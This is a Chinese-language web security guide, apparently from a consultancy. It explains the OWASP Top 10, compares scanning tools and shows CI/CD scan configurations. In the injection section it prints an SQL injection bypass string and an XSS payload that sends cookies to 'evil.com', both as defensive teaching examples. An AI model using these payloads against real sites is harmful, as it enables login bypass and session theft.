返回首頁弱點掃描

網站弱點掃描實務指南|從 OWASP Top 10 到 CI/CD 自動化檢測

18 min 分鐘閱讀
#網站安全#Web 弱點掃描#OWASP#SQL Injection#XSS#OWASP ZAP#Burp Suite#DevSecOps#CI/CD 安全#應用程式安全

網站弱點掃描實務指南|從 OWASP Top 10 到 CI/CD 自動化檢測

引言:你的網站,可能比你想像中更脆弱

一個 SQL Injection 漏洞,可以在幾分鐘內讓駭客拿走你整個資料庫。

這不是誇張。根據 Verizon 的資料外洩調查報告,超過 40% 的資料外洩事件與 Web 應用程式漏洞有關。電商被盜刷、會員資料外洩、網站被植入挖礦程式——這些新聞背後,很多都是 Web 漏洞惹的禍。

網站弱點掃描,就是幫你在駭客之前找到這些洞。

這篇文章會帶你了解:

  • Web 應用程式最常見的漏洞類型(OWASP Top 10)
  • 該用什麼工具來掃描
  • 如何把掃描整合進開發流程(DevSecOps)

無論你是開發者、QA 還是資安人員,這篇都能幫你建立 Web 安全的正確觀念。

如果你對弱點掃描還不熟,建議先閱讀 弱點掃描是什麼?完整指南


OWASP Top 10:你必須知道的 Web 漏洞

OWASP(Open Web Application Security Project)每幾年會發布一份「Top 10」清單,列出最常見、最危險的 Web 應用程式漏洞。

這份清單是 Web 安全的聖經,也是掃描工具的檢測依據。

2021 年版 OWASP Top 10

排名漏洞類型說明
A01Broken Access Control存取控制失效,用戶能存取不該看到的資料
A02Cryptographic Failures加密失敗,敏感資料未加密或加密不當
A03Injection注入攻擊,包括 SQL、NoSQL、OS 命令注入
A04Insecure Design不安全的設計,架構層面的安全缺陷
A05Security Misconfiguration安全設定錯誤,預設值未修改、錯誤訊息外洩
A06Vulnerable Components使用有漏洞的元件,如過時的套件
A07Authentication Failures身份驗證失效,包括弱密碼、Session 管理問題
A08Software and Data Integrity軟體和資料完整性問題,如不安全的 CI/CD
A09Security Logging Failures安全日誌記錄不足,無法追蹤攻擊行為
A10SSRF伺服器端請求偽造,可存取內部資源

重點漏洞詳解

以下詳細說明最常遇到的四種漏洞:

A01:Broken Access Control(存取控制失效)

這是 2021 年的第一名,從 2017 年的第五名躍升。

什麼意思?

用戶能夠存取超出權限的資源。例如:

  • 普通用戶能看到管理員頁面
  • 修改 URL 中的 ID 就能看到別人的訂單
  • API 沒有驗證用戶身份

真實案例:

某電商網站,把訂單 ID 直接放在 URL:

https://shop.example.com/order/12345

攻擊者只要把 12345 改成 12346,就能看到別人的訂單資料。

掃描能抓到嗎?

部分可以。自動化工具能檢測基本的 IDOR(Insecure Direct Object References),但複雜的邏輯漏洞可能需要人工測試。

A03:Injection(注入攻擊)

經典中的經典,包括 SQL Injection、XSS、Command Injection 等。

SQL Injection 範例:

假設登入功能這樣寫:

SELECT * FROM users WHERE username = '$input'

攻擊者輸入:

' OR '1'='1

查詢變成:

SELECT * FROM users WHERE username = '' OR '1'='1'

直接繞過驗證。

XSS(Cross-Site Scripting)範例:

網站沒有過濾用戶輸入,攻擊者在留言板輸入:

<script>document.location='http://evil.com/?c='+document.cookie</script>

其他用戶瀏覽這則留言時,Cookie 就被偷走了。

掃描能抓到嗎?

可以。這是自動化掃描工具最擅長的領域。

A02:Cryptographic Failures(加密失敗)

敏感資料沒有適當加密保護。

常見問題:

  • 密碼用 MD5 或 SHA1 雜湊(已經不安全)
  • 資料庫連線沒用 SSL
  • API 傳輸敏感資料沒加密
  • 使用過時的加密演算法

掃描能抓到嗎?

部分可以。工具能檢測 SSL/TLS 設定問題、不安全的 HTTP 傳輸,但無法判斷密碼雜湊演算法是否足夠強。

A07:Authentication Failures(身份驗證失效)

登入機制有漏洞。

常見問題:

  • 允許弱密碼
  • 沒有防暴力破解機制
  • Session ID 可預測
  • 忘記密碼功能可以列舉用戶
  • 多因素驗證可被繞過

掃描能抓到嗎?

部分可以。工具能測試暴力破解保護、Session 管理,但複雜的邏輯問題需要人工測試。

網站有這些漏洞嗎? 預約網站資安健檢,快速找出潛在風險。

插圖 1:OWASP Top 10 漏洞分佈圖

Web 掃描工具選擇

不同工具有不同的強項。以下是主流的 Web 弱點掃描工具比較:

工具總覽

工具類型價格最適合
OWASP ZAP免費開源$0開發團隊、入門學習
Burp Suite付費專業$449/年起滲透測試、深度測試
Acunetix企業級$4,500/年起企業自動化掃描
Fortify WebInspect企業級依報價大型企業、SDLC 整合
Nuclei免費開源$0進階用戶、自訂規則

OWASP ZAP

定位: 免費、功能完整、社群活躍

優點:

  • 完全免費,無功能限制
  • GUI 和 CLI 都有,適合不同場景
  • 可整合進 CI/CD
  • 持續更新,社群支援強
  • 適合開發人員自測

缺點:

  • 誤報率比商業工具高
  • 複雜的 JavaScript 應用可能爬不完整
  • 報告格式不如商業工具精美

適合: 開發團隊、資安入門、預算有限的公司

更多免費工具介紹,可參考 免費弱點掃描工具推薦

想比較各種付費工具的功能差異?可參考 弱點掃描工具比較:Nessus vs OpenVAS vs Acunetix

Burp Suite

定位: 滲透測試人員的標準工具

版本差異:

  • Community(免費):基本功能,手動測試
  • Professional($449/年):自動掃描、進階功能
  • Enterprise(報價):大規模自動化

優點:

  • 手動 + 自動測試完美結合
  • Intruder 功能強大(參數模糊測試)
  • 擴充套件生態系豐富
  • 滲透測試業界標準

缺點:

  • 學習曲線陡峭
  • Professional 版才有完整掃描功能
  • 不太適合純自動化場景

適合: 資安專業人員、滲透測試團隊

Acunetix

定位: 企業級 Web 應用安全掃描

優點:

  • OWASP Top 10 覆蓋率最高
  • 智慧爬蟲技術,能處理複雜的 SPA
  • 報告專業,適合給主管看
  • CI/CD 整合完善
  • 原廠技術支援

缺點:

  • 價格較高
  • 按目標網站計價
  • 深度掃描可能影響網站效能

適合: 電商、SaaS、金融科技公司

Fortify WebInspect

定位: 企業級、與開發流程深度整合

優點:

  • 與 Fortify SSC 整合,統一管理
  • 支援 DAST + IAST 混合模式
  • 合規報告完整(PCI DSS、HIPAA)
  • 與 SDLC 工具鏈整合佳

缺點:

  • 價格高昂
  • 部署複雜
  • 需要專人維護

適合: 大型企業、有嚴格合規需求的組織

插圖 2:Web 掃描工具介面展示

掃描執行實務

掃描前準備

1. 確認掃描範圍

  • 要掃哪些網域和子網域?
  • 要掃哪些 URL 路徑?
  • 有沒有不能掃的區域(如金流頁面)?

2. 取得授權

這很重要:未經授權掃描別人的網站是違法的

即使是掃自己公司的網站,也建議取得正式的書面授權,避免被誤會在攻擊。

3. 準備測試環境

建議在測試環境或 staging 環境掃描,而不是直接掃生產環境。

原因:

  • 掃描可能產生大量垃圾資料
  • 某些測試可能影響系統穩定
  • 避免干擾真實用戶

4. 設定認證

很多頁面需要登入才能看到。記得設定:

  • 登入憑證(用戶名、密碼)
  • Session Token
  • API Key(如果掃 API)

沒有認證,掃描器只能掃到首頁和公開頁面。

掃描模式選擇

被動掃描(Passive Scan)

只分析經過的流量,不主動發送攻擊請求。

適合:

  • 生產環境初步評估
  • 了解網站結構
  • 不想影響系統效能

主動掃描(Active Scan)

主動發送各種攻擊 payload 來測試漏洞。

適合:

  • 測試環境深度掃描
  • 找出真正的漏洞
  • 上線前的安全檢查

OWASP ZAP 掃描步驟

步驟 1:設定目標

1. 開啟 OWASP ZAP
2. 在 URL 欄位輸入目標網址
3. 按下「Attack」按鈕開始自動掃描

步驟 2:設定認證(如果需要)

1. 手動登入網站(ZAP 會記錄)
2. 或設定 Authentication Context
3. 選擇 Form-based 或 Script-based 認證

步驟 3:檢視結果

1. 在 Alerts 標籤查看發現的漏洞
2. 依風險等級排序(High > Medium > Low)
3. 點擊每個漏洞查看詳細資訊

步驟 4:匯出報告

1. Report > Generate HTML Report
2. 選擇報告格式和內容
3. 儲存報告檔案

CI/CD 整合:讓安全掃描自動化

DevSecOps 的核心理念:安全要左移(Shift Left),越早發現問題,修復成本越低。

把弱點掃描整合進 CI/CD,每次程式碼提交或部署都自動執行掃描。

GitHub Actions 整合

name: Security Scan

on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]

jobs:
  zap-scan:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v4

      - name: ZAP Baseline Scan
        uses: zaproxy/[email protected]
        with:
          target: 'https://staging.example.com'
          fail_action: true
          rules_file_name: '.zap/rules.tsv'

      - name: Upload Report
        uses: actions/upload-artifact@v3
        with:
          name: zap-report
          path: report_html.html

GitLab CI 整合

stages:
  - build
  - test
  - security

zap-scan:
  stage: security
  image: owasp/zap2docker-stable
  script:
    - zap-baseline.py -t https://staging.example.com -r report.html
  artifacts:
    paths:
      - report.html
    when: always
  only:
    - main
    - develop

Jenkins 整合

pipeline {
    agent any

    stages {
        stage('Build') {
            steps {
                // 建置步驟
            }
        }

        stage('Deploy to Staging') {
            steps {
                // 部署到測試環境
            }
        }

        stage('Security Scan') {
            steps {
                script {
                    sh '''
                        docker run -v $(pwd):/zap/wrk:rw \
                        owasp/zap2docker-stable \
                        zap-baseline.py \
                        -t https://staging.example.com \
                        -r zap-report.html
                    '''
                }
            }
            post {
                always {
                    publishHTML([
                        reportDir: '.',
                        reportFiles: 'zap-report.html',
                        reportName: 'ZAP Security Report'
                    ])
                }
            }
        }
    }
}

掃描策略建議

觸發時機掃描類型掃描深度
每次 CommitBaseline Scan快速(5-10 分鐘)
每次 PRBaseline Scan快速
每日排程Full Scan深度(1-2 小時)
上線前Full Scan + 人工驗證最深

插圖 3:DevSecOps 流程圖

掃描結果處理

掃完之後,你會得到一堆漏洞。然後呢?

分類與優先排序

依風險等級:

等級處理時間範例
Critical/High立即處理SQL Injection、RCE
Medium一週內XSS、資訊洩露
Low下個迭代不安全的 Cookie 設定
Informational評估是否處理版本資訊揭露

依業務影響:

同樣是 High 風險,發生在:

  • 金流頁面 → 最優先
  • 用戶資料頁 → 次優先
  • 純展示頁面 → 再次之

處理誤報

自動化掃描不可能 100% 準確。

常見誤報情境:

  • 工具認為是 XSS,但輸出有做編碼
  • 工具認為有 SQL Injection,但實際用了參數化查詢
  • 工具認為 Cookie 不安全,但那是非敏感 Cookie

驗證方式:

  1. 手動重現掃描器報告的攻擊向量
  2. 檢查程式碼確認是否有做防護
  3. 使用 Burp Suite 手動測試

確認是誤報後,在工具中標記排除,避免下次重複報告。

追蹤與修復

建議建立漏洞追蹤流程:

  1. 開票:每個漏洞開一張 ticket(Jira、GitHub Issues)
  2. 指派:指定負責修復的開發者
  3. 設定期限:依風險等級設定修復期限
  4. 驗證:修復後重新掃描確認
  5. 結案:確認修復完成,關閉 ticket

如何解讀掃描報告,可參考 弱點掃描報告解讀指南


常見問題與挑戰

Q1:掃描會影響網站效能嗎?

會,特別是主動掃描(Active Scan)。

建議做法:

  • 在測試環境掃描,而非生產環境
  • 設定掃描速度限制(降低並發請求數)
  • 安排在離峰時段執行
  • 通知維運團隊,避免被誤認為攻擊

Q2:要多久掃一次?

取決於你的更新頻率:

情境建議頻率
頻繁部署(每天/每週)每次部署都掃
定期發版(每月)每次發版前掃
很少更動至少每季掃一次
有合規要求依規範執行

Q3:掃描能取代滲透測試嗎?

不能。

自動化掃描能找出大部分的已知漏洞,但無法:

  • 發現複雜的邏輯漏洞
  • 測試多步驟的攻擊鏈
  • 評估真實的業務風險
  • 發現 0-day 漏洞

建議:日常用自動掃描,每年至少做一次人工滲透測試。想了解兩者的詳細差異,可參考 弱點掃描 vs 滲透測試

Q4:掃出來的漏洞修不完怎麼辦?

很正常,資安是無止境的。

務實做法:

  • 先處理 Critical 和 High
  • 依業務影響排優先順序
  • 設定合理的 SLA(如 High 7 天內修復)
  • 接受不可能修到零漏洞

結論:安全掃描是持續的過程

三個重點帶走:

  1. 理解 OWASP Top 10:這是 Web 安全的基礎,掃描工具也以此為依據
  2. 選對工具:預算有限用 OWASP ZAP,需要深度測試用 Burp Suite,企業自動化用 Acunetix
  3. 整合進 CI/CD:讓安全掃描成為開發流程的一部分,而不是上線前才想到

Web 安全不是做一次就結束的事。持續掃描、持續修復、持續改善,才能真正保護你的網站和用戶資料。


需要專業的網站安全評估?

自動化掃描是好的起點,但企業網站通常需要更完整的評估:

  • 深度掃描 + 人工驗證
  • 專業的報告給管理層
  • 修復建議和優先順序規劃

預約網站資安健檢,我們的資安顧問會:

  1. 執行完整的 Web 弱點掃描
  2. 人工驗證關鍵漏洞
  3. 提供修復建議和時程規劃
  4. 協助開發團隊理解和修復

首次諮詢免費。

沒有資安團隊執行掃描?可考慮 弱點掃描服務廠商 協助。


參考資料

  1. OWASP,《OWASP Top 10 2021》(2021)
  2. OWASP,《OWASP ZAP User Guide》(2024)
  3. PortSwigger,《Burp Suite Documentation》(2024)
  4. Acunetix,《Web Application Security Testing》(2024)
  5. Verizon,《2024 Data Breach Investigations Report》(2024)
  6. NIST,《Technical Guide to Information Security Testing》(2024)

需要專業的雲端建議?

無論您正在評估雲平台、優化現有架構,或尋找節費方案,我們都能提供協助

預約免費諮詢

相關文章